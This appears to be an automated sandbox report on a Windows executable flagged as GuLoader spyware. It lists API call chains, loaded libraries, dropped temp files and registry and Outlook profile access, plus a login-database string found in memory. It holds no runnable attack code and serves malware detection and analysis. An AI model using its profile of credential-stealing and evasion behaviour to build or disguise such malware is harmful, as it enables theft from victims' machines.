Code function: 0_2_004052F3 GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,LdrInitializeThunk,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,LdrInitializeThunk,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,LdrInitializeThunk,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052F3

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 0_2_004032A0 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,#17,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,LdrInitializeThunk,GetTempPathW,GetWindowsDirectoryW,lstrcatW,LdrInitializeThunk,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_004032A0 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,#17,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,LdrInitializeThunk,GetTempPathW,GetWindowsDirectoryW,lstrcatW,LdrInitializeThunk,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_004032A0

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 0_2_00404B30	0_2_00404B30
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 0_2_00407041	0_2_00407041
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 0_2_0040686A	0_2_0040686A
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_00407041	3_2_00407041
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_0040686A	3_2_0040686A
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_00404B30	3_2_00404B30
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_00154328	3_2_00154328
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_00158E0C	3_2_00158E0C
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_00155978	3_2_00155978
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_347454E9	3_2_347454E9
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_3474CCA0	3_2_3474CCA0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_3474603D	3_2_3474603D
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_347403AF	3_2_347403AF
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB96C8	3_2_36AB96C8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB8650	3_2_36AB8650
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36ABBDF0	3_2_36ABBDF0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB9D10	3_2_36AB9D10
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB6368	3_2_36AB6368
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36ABA360	3_2_36ABA360
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36ABA9B0	3_2_36ABA9B0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB96B8	3_2_36AB96B8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB36B0	3_2_36AB36B0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB36C0	3_2_36AB36C0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB2E10	3_2_36AB2E10
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB5660	3_2_36AB5660
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB8640	3_2_36AB8640
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB5650	3_2_36AB5650
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB0FA8	3_2_36AB0FA8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB67B0	3_2_36AB67B0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36ABAFF8	3_2_36ABAFF8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36ABAFF7	3_2_36ABAFF7
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB67C0	3_2_36AB67C0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB5F01	3_2_36AB5F01
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB5F10	3_2_36AB5F10
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB3F60	3_2_36AB3F60
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB3F70	3_2_36AB3F70
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB1CA0	3_2_36AB1CA0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB74B8	3_2_36AB74B8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB1CB0	3_2_36AB1CB0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB74C8	3_2_36AB74C8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB6C09	3_2_36AB6C09
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB1400	3_2_36AB1400
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB6C18	3_2_36AB6C18
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB4DA0	3_2_36AB4DA0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB4DB0	3_2_36AB4DB0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB9D00	3_2_36AB9D00
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB2560	3_2_36AB2560
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB2550	3_2_36AB2550
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB5AA8	3_2_36AB5AA8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB5AB8	3_2_36AB5AB8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36ABBA97	3_2_36ABBA97
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB5208	3_2_36AB5208
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB3268	3_2_36AB3268
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB43B9	3_2_36AB43B9
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB43C8	3_2_36AB43C8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB3B08	3_2_36AB3B08
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB3B18	3_2_36AB3B18
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB7B4F	3_2_36AB7B4F
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB6358	3_2_36AB6358
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36ABA352	3_2_36ABA352
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB20FA	3_2_36AB20FA
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB4820	3_2_36AB4820
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB4810	3_2_36AB4810
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB7061	3_2_36AB7061
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB7070	3_2_36AB7070
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB0040	3_2_36AB0040
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB1858	3_2_36AB1858
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB29A8	3_2_36AB29A8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36ABA9A0	3_2_36ABA9A0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB29B8	3_2_36AB29B8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB51F8	3_2_36AB51F8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36ABF136	3_2_36ABF136
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_36AB2108	3_2_36AB2108
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_37AFE7C8	3_2_37AFE7C8
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_37AFD608	3_2_37AFD608
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_37AF8328	3_2_37AF8328

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Code function: String function: 00402BBF appears 49 times

Source: m0CZ8H4jfl.exe, 00000003.00000002.2659748778.00000000345E7000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameUNKNOWN_FILET vs m0CZ8H4jfl.exe

Source: m0CZ8H4jfl.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@6/5

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 0_2_004032A0 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,#17,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,LdrInitializeThunk,GetTempPathW,GetWindowsDirectoryW,lstrcatW,LdrInitializeThunk,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_004032A0 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,#17,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,LdrInitializeThunk,GetTempPathW,GetWindowsDirectoryW,lstrcatW,LdrInitializeThunk,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_004032A0

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Code function: 0_2_004045B4 GetDlgItem,SetWindowTextW,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,LdrInitializeThunk,MulDiv,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,SetDlgItemTextW,

0_2_004045B4

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Code function: 0_2_00402095 LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,LdrInitializeThunk,

0_2_00402095

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens

Jump to behavior

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

File created: C:\Users\user\AppData\Local\Temp\nsl2B81.tmp

Jump to behavior

Source: m0CZ8H4jfl.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: m0CZ8H4jfl.exe, 00000003.00000002.2662284317.00000000357ED000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: m0CZ8H4jfl.exe	Virustotal: Detection: 72%
Source: m0CZ8H4jfl.exe	ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

File read: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\m0CZ8H4jfl.exe "C:\Users\user\Desktop\m0CZ8H4jfl.exe"
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process created: C:\Users\user\Desktop\m0CZ8H4jfl.exe "C:\Users\user\Desktop\m0CZ8H4jfl.exe"
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process created: C:\Users\user\Desktop\m0CZ8H4jfl.exe "C:\Users\user\Desktop\m0CZ8H4jfl.exe"	Jump to behavior

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Benchership141.lnk.0.dr

LNK file: ..\..\..\mindevrdigt\boghandlermedhjlperens.tor

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: m0CZ8H4jfl.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.1793597999.0000000004978000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2635144470.0000000003638000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

Code function: 0_2_10001B18 LdrInitializeThunk,GlobalAlloc,LdrInitializeThunk,LdrInitializeThunk,lstrcpyW,lstrcpyW,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,GlobalFree,GlobalFree,GlobalFree,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,GlobalFree,LdrInitializeThunk,lstrcpyW,LdrInitializeThunk,LdrInitializeThunk,GetModuleHandleW,LdrInitializeThunk,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 0_2_10002DE0 push eax; ret	0_2_10002E0E
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_0015A487 push dword ptr [ebp+ecx-75h]; retf	3_2_0015A492
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_0015A4F9 push dword ptr [ebp+ebx-75h]; iretd	3_2_0015A4FD
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Code function: 3_2_347477DE push edx; retf	3_2_347477EB

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

File created: C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
